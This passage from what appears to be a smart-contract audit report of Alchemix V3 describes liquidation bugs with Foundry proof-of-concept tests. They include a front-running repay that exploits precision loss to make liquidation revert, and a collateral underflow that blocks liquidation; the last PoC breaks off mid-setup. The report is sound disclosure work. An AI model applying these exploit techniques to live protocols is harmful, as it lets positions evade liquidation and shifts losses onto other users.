Likelihood Explanation: Some conditions apply, but the attack can be repeated.

Proof of Concept: Add the test suite below into `AlchemistV3_9.t.sol`.

Run with the following command: `forge test --fork-url {} --match-test testLiquidateRepayDoS -vv`.

```
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.26;

import {IERC20} from "../../lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";

import {TransparentUpgradeableProxy} from
↪  "../../lib/openzeppelin-contracts/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {SafeCast} from "../libraries/SafeCast.sol";
import {Test} from "../../lib/forge-std/src/Test.sol";
import {SafeERC20} from "../libraries/SafeERC20.sol";
import {console} from "../../lib/forge-std/src/console.sol";
```

```
import {AlchemistV3} from "../AlchemistV3.sol";
import {AlchemicTokenV3} from "../test/mocks/AlchemicTokenV3.sol";
import {Transmuter} from "../Transmuter.sol";
import {AlchemistV3Position} from "../AlchemistV3Position.sol";

import {Whitelist} from "../utils/Whitelist.sol";
import {TestERC20} from "./mocks/TestERC20.sol";
import {TestYieldToken} from "./mocks/TestYieldToken.sol";
import {TokenAdapterMock} from "./mocks/TokenAdapterMock.sol";
import {IAlchemistV3, IAlchemistV3Errors, AlchemistInitializationParams} from "../interfaces/IAlchemistV3.sol";
import {ITransmuter} from "../interfaces/ITransmuter.sol";
import {ITestYieldToken} from "../interfaces/test/ITestYieldToken.sol";
import {InsufficientAllowance} from "../base/Errors.sol";
import {Unauthorized, IllegalArgument, IllegalState, MissingInputData} from "../base/Errors.sol";
import {AlchemistNFTHelper} from "./libraries/AlchemistNFTHelper.sol";
import {IAlchemistV3Position} from "../interfaces/IAlchemistV3Position.sol";
import {AggregatorV3Interface} from
↪  "../../lib/chainlink-brownie-contracts/contracts/src/v0.8/shared/interfaces/AggregatorV3Interface.sol";
import {TokenUtils} from "../libraries/TokenUtils.sol";
import {AlchemistTokenVault} from "../AlchemistTokenVault.sol";

contract AlchemistV3Test_9 is Test {
    // ----- [SETUP] Variables for setting up a minimal CDP -----

    // Callable contract variables
    AlchemistV3 alchemist;
    Transmuter transmuter;
    AlchemistV3Position alchemistNFT;
    AlchemistTokenVault alchemistFeeVault;

    // // Proxy variables
    TransparentUpgradeableProxy proxyAlchemist;
    TransparentUpgradeableProxy proxyTransmuter;

    // // Contract variables
    // CheatCodes cheats = CheatCodes(HEVM_ADDRESS);
    AlchemistV3 alchemistLogic;
    Transmuter transmuterLogic;
    AlchemicTokenV3 alToken;
    Whitelist whitelist;

    // Token addresses
    TestERC20 fakeUnderlyingToken;
    TestYieldToken fakeYieldToken;
    // Total minted debt
    uint256 public minted;

    // Total debt burned
    uint256 public burned;

    // Total tokens sent to transmuter
    uint256 public sentToTransmuter;

    // Parameters for AlchemicTokenV2
    string public _name;
    string public _symbol;
    uint256 public _flashFee;
    address public alOwner;

    mapping(address => bool) users;

    uint256 public constant FIXED_POINT_SCALAR = 1e18;

    uint256 public liquidatorFeeBPS = 300; // in BPS, 3%

    uint256 public minimumCollateralization = uint256(FIXED_POINT_SCALAR * FIXED_POINT_SCALAR) / 9e17;

    // ----- Variables for deposits & withdrawals -----

    // account funds to make deposits/test with
    uint256 accountFunds = 2_000_000_000e6;

    // large amount to test with
    uint256 whaleSupply = 20_000_000_000e6;

    // amount of yield/underlying token to deposit
```

```
uint256 depositAmount = 100_000e6;

// minimum amount of yield/underlying token to deposit
uint256 minimumDeposit = 1000e6;

// minimum amount of yield/underlying token to deposit
uint256 minimumDepositOrWithdrawalLoss = FIXED_POINT_SCALAR;

// random EOA for testing
address externalUser = address(0x69E8cE9bFc01AA33cD2d02Ed91c72224481Fa420);

// another random EOA for testing
address anotherExternalUser = address(0x420Ab24368E5bA8b727E9B8aB967073Ff9316969);

// another random EOA for testing
address yetAnotherExternalUser = address(0x520aB24368e5Ba8B727E9b8aB967073Ff9316961);

// another random EOA for testing
address someWhale = address(0x521aB24368E5Ba8b727e9b8AB967073fF9316961);

// WETH address
address public weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

// Mock the price feed call
address ETH_USD_PRICE_FEED_MAINNET = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419;  // @audit never used
↪  anywhere

// Mock the price feed call
uint256 ETH_USD_UPDATE_TIME_MAINNET = 3600 seconds;

function setUp() external {
    // test maniplulation for convenience
    address caller = address(0xdead);
    address proxyOwner = address(this);
    vm.assume(caller != address(0));
    vm.assume(proxyOwner != address(0));
    vm.assume(caller != proxyOwner);
    vm.startPrank(caller);

    // Fake tokens

    fakeUnderlyingToken = new TestERC20(100e6, uint8(6));
    fakeYieldToken = new TestYieldToken(address(fakeUnderlyingToken));
    alToken = new AlchemicTokenV3(_name, _symbol, _flashFee);

    ITransmuter.TransmuterInitializationParams memory transParams =
    ↪  ITransmuter.TransmuterInitializationParams({
        syntheticToken: address(alToken),
        feeReceiver: address(this),
        timeToTransmute: 5_256_000,
        transmutationFee: 10,
        exitFee: 20,
        graphSize: 52_560_000
    });

    // Contracts and logic contracts
    alOwner = caller;
    transmuterLogic = new Transmuter(transParams);
    alchemistLogic = new AlchemistV3();
    whitelist = new Whitelist();

    // AlchemistV3 proxy
    AlchemistInitializationParams memory params = AlchemistInitializationParams({
        admin: alOwner,
        debtToken: address(alToken),
        underlyingToken: address(fakeUnderlyingToken),
        yieldToken: address(fakeYieldToken),
        blocksPerYear: 2_600_000,
        depositCap: type(uint256).max,
        minimumCollateralization: minimumCollateralization,
        collateralizationLowerBound: 1_052_631_578_950_000_000, // 1.05 collateralization
        globalMinimumCollateralization: 1_111_111_111_111_111_111, // 1.1
        tokenAdapter: address(fakeYieldToken),
        transmuter: address(transmuterLogic),
        protocolFee: 0,
        protocolFeeReceiver: address(10),
```

```
        liquidatorFee: liquidatorFeeBPS
    });

    bytes memory alchemParams = abi.encodeWithSelector(AlchemistV3.initialize.selector, params);
    proxyAlchemist = new TransparentUpgradeableProxy(address(alchemistLogic), proxyOwner, alchemParams);
    alchemist = AlchemistV3(address(proxyAlchemist));

    // Whitelist alchemist proxy for minting tokens
    alToken.setWhitelist(address(proxyAlchemist), true);

    whitelist.add(address(0xbeef));
    whitelist.add(externalUser);
    whitelist.add(anotherExternalUser);

    transmuterLogic.setAlchemist(address(alchemist));
    transmuterLogic.setDepositCap(uint256(type(int256).max));

    alchemistNFT = new AlchemistV3Position(address(alchemist));
    alchemist.setAlchemistPositionNFT(address(alchemistNFT));

    alchemistFeeVault = new AlchemistTokenVault(address(fakeUnderlyingToken), address(alchemist), alOwner);
    alchemistFeeVault.setAuthorization(address(alchemist), true);
    alchemist.setAlchemistFeeVault(address(alchemistFeeVault));
    vm.stopPrank();

    deal(address(fakeUnderlyingToken), alchemist.alchemistFeeVault(), 10_000e6);

    vm.startPrank(anotherExternalUser);

    SafeERC20.safeApprove(address(fakeUnderlyingToken), address(fakeYieldToken), accountFunds);

    vm.stopPrank();
    vm.startPrank(yetAnotherExternalUser);
    SafeERC20.safeApprove(address(fakeUnderlyingToken), address(fakeYieldToken), accountFunds);
    vm.stopPrank();

    vm.startPrank(someWhale);
    deal(address(fakeYieldToken), someWhale, whaleSupply);
    deal(address(fakeUnderlyingToken), someWhale, whaleSupply);
    SafeERC20.safeApprove(address(fakeUnderlyingToken), address(fakeYieldToken), whaleSupply + 100e18);
    vm.stopPrank();
}

function testLiquidateRepayDoS() external {
    uint256 amount = 100_000e6; // 100,000 EULER USDC
    deal(address(fakeYieldToken), yetAnotherExternalUser, amount);
    deal(address(fakeYieldToken), address(0xbeef), amount);
    deal(address(fakeYieldToken), anotherExternalUser, amount);

    vm.startPrank(someWhale);
    fakeYieldToken.mint(20_000_000e6, someWhale);
    vm.stopPrank();

    // just ensuring global alchemist collateralization stays above the minimum required for regular
    ↪  liquidations
    // no need to mint anything
    vm.startPrank(yetAnotherExternalUser);
    SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount);
    alchemist.deposit(amount, yetAnotherExternalUser, 0);
    vm.stopPrank();

    // user 1 deposits + takes a loan
    vm.startPrank(address(0xbeef));
    SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount);
    alchemist.deposit(amount, address(0xbeef), 0);
    // a single position nft would have been minted to 0xbeef
    uint256 tokenIdFor0xBeef = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
    alchemist.mint(tokenIdFor0xBeef, alchemist.totalValue(tokenIdFor0xBeef) * FIXED_POINT_SCALAR /
    ↪  minimumCollateralization, address(0xbeef));
    vm.stopPrank();

    // user 2 deposits + takes a loan
    vm.startPrank(anotherExternalUser);
    SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount);
    alchemist.deposit(amount, anotherExternalUser, 0);
    // a single position nft would have been minted to 0xbeef
```

```
        uint256 tokenId1 = AlchemistNFTHelper.getFirstTokenId(anotherExternalUser, address(alchemistNFT));
        alchemist.mint(tokenId1, alchemist.totalValue(tokenId1) * FIXED_POINT_SCALAR /
        ↪  minimumCollateralization, anotherExternalUser);
        vm.stopPrank();

        // modify yield token price via modifying underlying token supply
        (uint256 prevCollateral, uint256 prevDebt,) = alchemist.getCDP(tokenIdFor0xBeef);
        uint256 initialVaultSupply = IERC20(address(fakeYieldToken)).totalSupply();
        fakeYieldToken.updateMockTokenSupply(initialVaultSupply);
        // increasing yeild token suppy by 59 bps or 5.9%  while keeping the unederlying supply unchanged
        uint256 modifiedVaultSupply = (initialVaultSupply * 590 / 10_000) + initialVaultSupply;
        fakeYieldToken.updateMockTokenSupply(modifiedVaultSupply);

        vm.startPrank(address(0xdad));
        deal(address(alToken), address(0xdad), 5000e18);
        SafeERC20.safeApprove(address(alToken), address(transmuterLogic), 5000e18);
        transmuterLogic.createRedemption(5000e18);
        vm.stopPrank();

        vm.roll(block.number + 10);     // time elapse

        // liquidate user 2 (anotherExternalUser)
        vm.startPrank(externalUser);
        (uint256 assets, uint256 feeInYield, uint256 feeInUnderlying) = alchemist.liquidate(tokenId1);

        // @audit-info calculation for precision loss
        //   AlchemistV3::_liquidate() - L796
        //   repaidAmountInYield = _forceRepay(accountId, convertDebtTokensToYield(account.earmarked));

        // @audit-info need to make convertDebtTokensToYield(earmarked) < 0
        //   convertDebtTokenToYield() will take amount / underlyingConversionFactor
        //   -> for euler USDC/USDC deployment, underlyingConversionFactory = 1e12
        //   if earmarked < 1e12, convertDebtTokensToYield(earmarked) = 0

        // @audit-info use repay() to make account.earmarked < 1e12
        // for what amount? will 1e12 > account.earmarked - convertYieldTokensToDebt(amount)
        (, , uint256 earmarked1) = alchemist.getCDP(tokenIdFor0xBeef);
        uint256 yieldToDebt = alchemist.convertYieldTokensToDebt(5037);
        console.log("Precision Loss: %s", (1e12 > earmarked1 - yieldToDebt));
        console.log("Amount to repay: 5037\n");

        // user 1 front runs the liquidate() call
        vm.startPrank(address(0xbeef));
        deal(address(fakeYieldToken), address(0xbeef), 1000e6);
        SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), 1000e6);
        alchemist.repay(5_037, tokenIdFor0xBeef);
        vm.stopPrank();

        // @audit-info ensure current earmarked value causes precision loss
        (, , earmarked1) = alchemist.getCDP(tokenIdFor0xBeef);
        uint256 forceRepayAmount = alchemist.convertDebtTokensToYield(earmarked1);
        assert(forceRepayAmount == 0);

        // vm.roll(block.number + 50);     // time elapse - unblock DoS by incrementing earmarked > 1e12

        // liquidate() call reverts for user 1
        vm.expectRevert(IllegalArgument.selector);
        vm.prank(address(0xdad));
        alchemist.liquidate(tokenIdFor0xBeef);

        (, uint256 debt, uint256 earmarked) = alchemist.getCDP(tokenIdFor0xBeef);
        console.log("Remaining Debt for Token ID 1: %s", debt);
        console.log("Earmarked Debt for Token ID 1: %s", earmarked);
    }
}
```

```
Ran 1 test for src/test/AlchemistV3_9.t.sol:AlchemistV3Test_9
[PASS] testLiquidateRepayDoS() (gas: 2839591)
Logs:
  Precision Loss: true
  Amount to repay: 5037

  Remaining Debt for Token ID 1: 89999995244000000009000
  Earmarked Debt for Token ID 1: 468797564688

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.39s (67.98ms CPU time)

Ran 1 test suite in 2.06s (1.39s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

In `testLiquidateRepayDoS()`, both `0xbeef` and `anotherExternalUser` deposit and mint the exact same amounts - deposit `100K` Euler USDC and take loans for 90% of collateral's worth. This will bring both `0xbeef`'s and `anotherExternalUser`'s collateralization ratios close to the limit. The token supply changes which causes both accounts to become liquidatable.

`anotherExternalUser` gets liquidated - `0xbeef` was able to prevent liquidation by front running with `repay()` using only `5037` USDC.

Recommendation: Since `_forceRepay()` is only called from `_liquidate()`, if `amount == 0`, the function can early return `0`, instead of reverting.

3.2.11 Liquidation will fail due to underflow if user collateral is not enough to cover earmark debt

Submitted by montecristo, also found by CAUsr, dash, Codertjay, edoscoba, Rikard Hjort, danvinci, 0xNForcer and Araj

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: An underflow in `_forceRepay` will prevent a position from being liquidated if the position's collateral is not enough to cover earmarked debt.

Finding Description: During liquidation, Alchemix will try to force repay account's earmarked debt before the actual liquidation:

- alchemix-v3/src/AlchemistV3.sol:

```
771:     function _liquidate(uint256 accountId) internal returns (uint256 debtAmount, uint256
↪  feeInYield, uint256 feeInUnderlying) {
...
795:         if (account.earmarked > 0) {
796:             repaidAmountInYield = _forceRepay(accountId,
↪  convertDebtTokensToYield(account.earmarked));
797:         }
```

  Inside `_forceRepay`, user's earmarked debt is cleared and account's collateral balance is reduced accordingly:

- alchemix-v3/src/AlchemistV3.sol:

```
735:     function _forceRepay(uint256 accountId, uint256 amount) internal returns (uint256) {
...
756:         // Repay debt from earmarked amount of debt first
757:         account.earmarked -= credit > account.earmarked ? account.earmarked : credit;
758:
759:@>       account.collateralBalance -= creditToYield; // @audit potential underflow
```

The problem is, if account's collateral balance is not enough to cover earmark debt, L759 will cause an underflow. This will prevent the account from being liquidated.

Impact Explanation: Impact is high, as there is no way to liquidate this position.

Likelihood Explanation: Likelihood is low. Because this vulnerability requires high amount of earmarked debt and very bad price drop of the collateral token.

Proof of Concept:

```
pragma solidity 0.8.26;

import {IERC20} from "../../lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";

import "../../lib/forge-std/src/Test.sol";

import {TransparentUpgradeableProxy} from
↪  "../../lib/openzeppelin-contracts/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {SafeCast} from "../libraries/SafeCast.sol";
import {SafeERC20} from "../libraries/SafeERC20.sol";
import {console} from "../../lib/forge-std/src/console.sol";
import {AlchemistV3} from "../AlchemistV3.sol";
import {AlchemicTokenV3} from "../test/mocks/AlchemicTokenV3.sol";
import {Transmuter} from "../Transmuter.sol";
import {AlchemistV3Position} from "../AlchemistV3Position.sol";

import {Whitelist} from "../utils/Whitelist.sol";
import {TestERC20} from "./mocks/TestERC20.sol";
import {TestYieldToken} from "./mocks/TestYieldToken.sol";
import {TokenAdapterMock} from "./mocks/TokenAdapterMock.sol";
import {IAlchemistV3, IAlchemistV3Errors, AlchemistInitializationParams} from "../interfaces/IAlchemistV3.sol";
import {ITransmuter} from "../interfaces/ITransmuter.sol";
import {ITestYieldToken} from "../interfaces/test/ITestYieldToken.sol";
import {InsufficientAllowance} from "../base/Errors.sol";
import {Unauthorized, IllegalArgument, IllegalState, MissingInputData} from "../base/Errors.sol";
import {AlchemistNFTHelper} from "./libraries/AlchemistNFTHelper.sol";
import {IAlchemistV3Position} from "../interfaces/IAlchemistV3Position.sol";
import {AggregatorV3Interface} from
↪  "../../lib/chainlink-brownie-contracts/contracts/src/v0.8/shared/interfaces/AggregatorV3Interface.sol";
import {TokenUtils} from "../libraries/TokenUtils.sol";
import {AlchemistTokenVault} from "../AlchemistTokenVault.sol";

contract POC is Test {
    AlchemistV3 alchemist;
    Transmuter transmuter;
    AlchemistV3Position alchemistNFT;
    AlchemistTokenVault alchemistFeeVault;

    TransparentUpgradeableProxy proxyAlchemist;
    TransparentUpgradeableProxy proxyTransmuter;

    AlchemistV3 alchemistLogic;
    Transmuter transmuterLogic;
    AlchemicTokenV3 alToken;
    Whitelist whitelist;

    TestERC20 fakeUnderlyingToken;
    TestYieldToken fakeYieldToken;

    uint256 public constant FIXED_POINT_SCALAR = 1e18;

    uint256 public liquidatorFeeBPS = 300; // in BPS, 3%

    uint256 public minimumCollateralization = uint256(FIXED_POINT_SCALAR * FIXED_POINT_SCALAR) / 9e17;

    address owner = makeAddr("owner");
    address proxyOwner;
    address protocolFeeReceiver = makeAddr("protocolFeeReceiver");

    string public _name;
    string public _symbol;
    uint256 public _flashFee;
    uint256 redemptionNonce;

    modifier actAs(address user) {
        vm.stopPrank();
        vm.startPrank(user, user);
        _;
        vm.stopPrank();
    }

    function setUp() external {
        proxyOwner = address(this);
```

```
        vm.startPrank(owner);

        fakeUnderlyingToken = new TestERC20(100e18, uint8(18));
        fakeYieldToken = new TestYieldToken(address(fakeUnderlyingToken));
        alToken = new AlchemicTokenV3(_name, _symbol, _flashFee);

        ITransmuter.TransmuterInitializationParams memory transParams =
        ↪  ITransmuter.TransmuterInitializationParams({
            syntheticToken: address(alToken),
            feeReceiver: address(this),
            timeToTransmute: 5_256_000,
            transmutationFee: 10,
            exitFee: 20,
            graphSize: 52_560_000
        });

        transmuterLogic = new Transmuter(transParams);
        transmuter = transmuterLogic;
        alchemistLogic = new AlchemistV3();
        whitelist = new Whitelist();

        AlchemistInitializationParams memory params = AlchemistInitializationParams({
            admin: owner,
            debtToken: address(alToken),
            underlyingToken: address(fakeUnderlyingToken),
            yieldToken: address(fakeYieldToken),
            blocksPerYear: 2_600_000,
            depositCap: type(uint256).max,
            minimumCollateralization: minimumCollateralization,
            collateralizationLowerBound: 1_052_631_578_950_000_000, // 1.05 collateralization
            globalMinimumCollateralization: 1_111_111_111_111_111_111, // 1.1
            tokenAdapter: address(fakeYieldToken),
            transmuter: address(transmuterLogic),
            protocolFee: 0,
            protocolFeeReceiver: protocolFeeReceiver,
            liquidatorFee: liquidatorFeeBPS
        });

        bytes memory alchemParams = abi.encodeWithSelector(AlchemistV3.initialize.selector, params);
        proxyAlchemist = new TransparentUpgradeableProxy(address(alchemistLogic), proxyOwner, alchemParams);
        alchemist = AlchemistV3(address(proxyAlchemist));

        alToken.setWhitelist(address(proxyAlchemist), true);

        transmuterLogic.setAlchemist(address(alchemist));
        transmuterLogic.setDepositCap(uint256(type(int256).max));

        alchemistNFT = new AlchemistV3Position(address(alchemist));
        alchemist.setAlchemistPositionNFT(address(alchemistNFT));

        alchemistFeeVault = new AlchemistTokenVault(address(fakeUnderlyingToken), address(alchemist), owner);
        alchemistFeeVault.setAuthorization(address(alchemist), true);
        alchemist.setAlchemistFeeVault(address(alchemistFeeVault));
        vm.stopPrank();
    }

    function test_revertLiquidationIfCollateralLtEarmark() external {
        uint256 depositAmount = 100e18;

        address alice = makeAddr("alice");
        _dealYieldToken(alice, depositAmount);
        // alice deposits 100 ETH of yield token
        uint256 alicePositionId = _deposit(alice, depositAmount);
        // alice takes a loan of 90 ETH
        _mintDebtToken(alice, depositAmount * 9 / 10);
        // alice creates a redemption of 90 ETH, this will drastically increase alice's earmarked debt
        _createRedemption(alice, depositAmount * 9 / 10);
        // fast forward to increase alice's earmarked debt to the full amount
        vm.roll(5_256_001);
        // price drops badly so that alice's position can be liquidated
        _adjustPrice(-1500);
        // price dropped so bad that alice's collateral cannot cover earmarked debt
        vm.expectRevert(stdError.arithmeticError);
        alchemist.liquidate(alicePositionId);
    }
```

```
    function _dealYieldToken(address user, uint256 amount) internal actAs(user) {
        fakeUnderlyingToken.mint(user, amount);
        SafeERC20.safeApprove(address(fakeUnderlyingToken), address(fakeYieldToken), amount);
        fakeYieldToken.mint(amount, user);
    }

    function _deposit(address user, uint256 amount) internal actAs(user) returns (uint256 tokenId) {
        SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount);
        alchemist.deposit(amount, user, 0);
        return AlchemistNFTHelper.getFirstTokenId(user, address(alchemistNFT));
    }

    function _mintDebtToken(address user, uint256 amount) internal {
        uint256 tokenId = AlchemistNFTHelper.getFirstTokenId(user, address(alchemistNFT));
        return _mintDebtToken(user, tokenId, amount);
    }

    function _mintDebtToken(address user, uint256 tokenId, uint256 amount) internal actAs(user) {
        alchemist.mint(tokenId, amount, user);
    }

    function _createRedemption(address user, uint256 amount) internal actAs(user) returns (uint256 tokenId) {
        SafeERC20.safeApprove(address(alToken), address(transmuter), amount);
        transmuter.createRedemption(amount);
        return ++redemptionNonce;
    }

    function _adjustPrice(int256 bps) internal {
        uint256 initialVaultSupply = IERC20(address(fakeYieldToken)).totalSupply();
        fakeYieldToken.updateMockTokenSupply(initialVaultSupply);
        uint256 modifiedVaultSupply = uint256(int256(initialVaultSupply) - (int256(initialVaultSupply) * bps /
        ↪  10_000));
        fakeYieldToken.updateMockTokenSupply(modifiedVaultSupply);
    }
}
```

Recommendation: Underflow edge case needs to be handled:

```
diff --git a/src/AlchemistV3.sol b/src/AlchemistV3.sol
index ece06b2..62c48a2 100644
--- a/src/AlchemistV3.sol
+++ b/src/AlchemistV3.sol
@@ -756,7 +756,7 @@ contract AlchemistV3 is IAlchemistV3, Initializable {
         // Repay debt from earmarked amount of debt first
         account.earmarked -= credit > account.earmarked ? account.earmarked : credit;

-        account.collateralBalance -= creditToYield;
+        account.collateralBalance -= creditToYield > account.collateralBalance ? account.collateralBalance :
↪  creditToYield;

         // Transfer the repaid tokens from the account to the transmuter.
         TokenUtils.safeTransfer(yieldToken, address(this), creditToYield);
```

3.2.12 Inefficient liquidation fee mechanism

Submitted by montecristo, also found by T1MOH, bl4ck4non and 0x15

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: During a cantina managed review, it was discovered that there was no incentive to liquidate bad debt positions, as Alchemist used to not pay liquidation fee if the position is in bad debt. In order to mitigate the issue, Alchemix introduced "Fee Vault" mechanism in order to compensate liquidators in case of bad debt positions. However, this brought another side effect that majority of liquidation fee would be paid by Fee Vault. This effectively delegates liquidation fee payment from debitors to protocol maintainers. As a result, the protocol team will face financial burden to pay majority part of the liquidation fee.

Finding Description: If we take a look at liquidation flow, there are two types of liquidation fee paid to liquidators:

- alchemix-v3/src/AlchemistV3.sol:

```
771:     function _liquidate(uint256 accountId) internal returns (uint256 debtAmount, uint256
↪  feeInYield, uint256 feeInUnderlying) {
...
829:             if (feeInYield > 0) {
830:                 // send base fee in yield tokens to liquidator
831:                 TokenUtils.safeTransfer(yieldToken, msg.sender, feeInYield);
832:             }
833:
834:             // excess fee will be sent in underlying token to the liquidator.
835:             // since debt token is 1 : 1 with underyling token
836:             if (feeBonus > 0) {
837:                 uint256 vaultBalance = IFeeVault(alchemistFeeVault).totalDeposits();
838:                 if (vaultBalance > 0) {
839:                     feeInUnderlying = vaultBalance > feeBonus ? feeBonus : vaultBalance;
840:                     IFeeVault(alchemistFeeVault).withdraw(msg.sender, feeInUnderlying);
841:                 }
842:             }
```

  - `feeInYield` is a type of liquidation fee in yield token, which is calculated by `(account.collateralBalance - account.debt) * liquidatorFee`:

- alchemix-v3/src/AlchemistV3.sol:

```
650:         uint256 surplus = collateral > debt ? collateral - debt : 0;
651:         fee = (surplus * feeBps) / BPS;
```

  - `feeBonus` is another type of liquidation fee in underlying token, which is calculated by `account.debt * liquidatorFee`.

- alchemix-v3/src/AlchemistV3.sol:

```
810:             (uint256 liquidationAmount, uint256 debtToBurn, uint256 baseFee) =
↪  calculateLiquidation(
811:                 collateralInUnderlying, account.debt, minimumCollateralization,
↪  alchemistCurrentCollateralization, globalMinimumCollateralization, liquidatorFee
812:             );
813:
814:@>           uint256 feeBonus = debtToBurn * liquidatorFee / BPS;
```

It's also worth mentioning the following:

- `feeInYield` is paid from position owner's collateral.
- `feeBonus` is paid by Alchemist's fee vault, which is maintained by protocol team and community.

Also, according to fee calculation formula, we can derive the following:

- `feeInYield` takes minority part of the total liquidation fee, as `account.collateralBalance - account.debt` will be very small in accounts being liquidated.
- `feeBonus` takes majority part of the total liquidation fee, as `account.debt` is significant than `account.collateralBalance - account.debt`.

Comparison between those two fees are summarized in the following table:

Fee Type	Variable Name	Calculation Formula	Paid By
Base Fee	`feeInYield`	`(account.collateralBalance - account.debt) * liquidatorFee`	Position's collater
Bonus Fee	`feeBonus`	`account.debt * liquidatorFee`	Fee vault

So after the mitigation (to incentivize bad debt position liquidation), the protocol team took the burden of paying liquidation fee.

However, this was not the protocol team's intention. We can know this by reading the comments in L830 and L834:

```
// send base fee in yield tokens to liquidator.
// excess fee will be sent in underlying token to the liquidator.
```

Of course, the protocol team can get out of this burden by keeping the vault empty (check line 836), but this nullifies the mitigation effect.

Impact Explanation: Impact is medium because it adds financial burden to the protocol team and community.

Likelihood Explanation: Likelihood is high because it happens on all liquidations.

Proof of Concept: The following proof of concept demonstrates a scenario where a liquidator takes the following liquidation fees:

- `0.11` ETH in yield token from position's collateral.
- `1.8` ETH in underlying token from the fee vault:

```
pragma solidity 0.8.26;

import {IERC20} from "../../lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";

import "../../lib/forge-std/src/Test.sol";

import {TransparentUpgradeableProxy} from
↪  "../../lib/openzeppelin-contracts/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {SafeCast} from "../libraries/SafeCast.sol";
import {SafeERC20} from "../libraries/SafeERC20.sol";
import {console} from "../../lib/forge-std/src/console.sol";
import {AlchemistV3} from "../AlchemistV3.sol";
import {AlchemicTokenV3} from "../test/mocks/AlchemicTokenV3.sol";
import {Transmuter} from "../Transmuter.sol";
import {AlchemistV3Position} from "../AlchemistV3Position.sol";

import {Whitelist} from "../utils/Whitelist.sol";
import {TestERC20} from "./mocks/TestERC20.sol";
import {TestYieldToken} from "./mocks/TestYieldToken.sol";
import {TokenAdapterMock} from "./mocks/TokenAdapterMock.sol";
import {IAlchemistV3, IAlchemistV3Events, IAlchemistV3Errors, AlchemistInitializationParams} from
↪  "../interfaces/IAlchemistV3.sol";
import {ITransmuter} from "../interfaces/ITransmuter.sol";
import {ITestYieldToken} from "../interfaces/test/ITestYieldToken.sol";
import {InsufficientAllowance} from "../base/Errors.sol";
import {Unauthorized, IllegalArgument, IllegalState, MissingInputData} from "../base/Errors.sol";
import {AlchemistNFTHelper} from "./libraries/AlchemistNFTHelper.sol";
import {IAlchemistV3Position} from "../interfaces/IAlchemistV3Position.sol";
import {AggregatorV3Interface} from "../../lib/chainlink-brownie-contracts/contracts/src/v0.8/shared/in
↪  terfaces/AggregatorV3Interface.sol";
import {TokenUtils} from "../libraries/TokenUtils.sol";
import {AlchemistTokenVault} from "../AlchemistTokenVault.sol";

contract POC is Test {
    AlchemistV3 alchemist;
    Transmuter transmuter;
    AlchemistV3Position alchemistNFT;
    AlchemistTokenVault alchemistFeeVault;

    TransparentUpgradeableProxy proxyAlchemist;
    TransparentUpgradeableProxy proxyTransmuter;

    AlchemistV3 alchemistLogic;
    Transmuter transmuterLogic;
    AlchemicTokenV3 alToken;
    Whitelist whitelist;

    TestERC20 fakeUnderlyingToken;
    TestYieldToken fakeYieldToken;

    uint256 public constant FIXED_POINT_SCALAR = 1e18;

    uint256 public liquidatorFeeBPS = 300; // in BPS, 3%

    uint256 public minimumCollateralization = uint256(FIXED_POINT_SCALAR * FIXED_POINT_SCALAR) / 9e17;

    address owner = makeAddr("owner");
    address proxyOwner;
    address protocolFeeReceiver = makeAddr("protocolFeeReceiver");
```

```
    string public _name;
    string public _symbol;
    uint256 public _flashFee;
    uint256 redemptionNonce;

    modifier actAs(address user) {
        vm.stopPrank();
        vm.startPrank(user, user);
        _;
        vm.stopPrank();
    }

    function setUp() external {
        proxyOwner = address(this);

        vm.startPrank(owner);

        fakeUnderlyingToken = new TestERC20(100e18, uint8(18));
        fakeYieldToken = new TestYieldToken(address(fakeUnderlyingToken));
        alToken = new AlchemicTokenV3(_name, _symbol, _flashFee);

        ITransmuter.TransmuterInitializationParams memory transParams =
        ↪  ITransmuter.TransmuterInitializationParams({
            syntheticToken: address(alToken),
            feeReceiver: address(this),
            timeToTransmute: 5_256_000,
            transmutationFee: 10,
            exitFee: 20,
            graphSize: 52_560_000
        });

        transmuterLogic = new Transmuter(transParams);
        transmuter = transmuterLogic;
        alchemistLogic = new AlchemistV3();
        whitelist = new Whitelist();

        AlchemistInitializationParams memory params = AlchemistInitializationParams({
            admin: owner,
            debtToken: address(alToken),
            underlyingToken: address(fakeUnderlyingToken),
            yieldToken: address(fakeYieldToken),
            blocksPerYear: 2_600_000,
            depositCap: type(uint256).max,
            minimumCollateralization: minimumCollateralization,
            collateralizationLowerBound: 1_052_631_578_950_000_000, // 1.05 collateralization
            globalMinimumCollateralization: 1_111_111_111_111_111_111, // 1.1
            tokenAdapter: address(fakeYieldToken),
            transmuter: address(transmuterLogic),
            protocolFee: 0,
            protocolFeeReceiver: protocolFeeReceiver,
            liquidatorFee: liquidatorFeeBPS
        });

        bytes memory alchemParams = abi.encodeWithSelector(AlchemistV3.initialize.selector, params);
        proxyAlchemist = new TransparentUpgradeableProxy(address(alchemistLogic), proxyOwner,
        ↪  alchemParams);
        alchemist = AlchemistV3(address(proxyAlchemist));

        alToken.setWhitelist(address(proxyAlchemist), true);

        transmuterLogic.setAlchemist(address(alchemist));
        transmuterLogic.setDepositCap(uint256(type(int256).max));

        alchemistNFT = new AlchemistV3Position(address(alchemist));
        alchemist.setAlchemistPositionNFT(address(alchemistNFT));

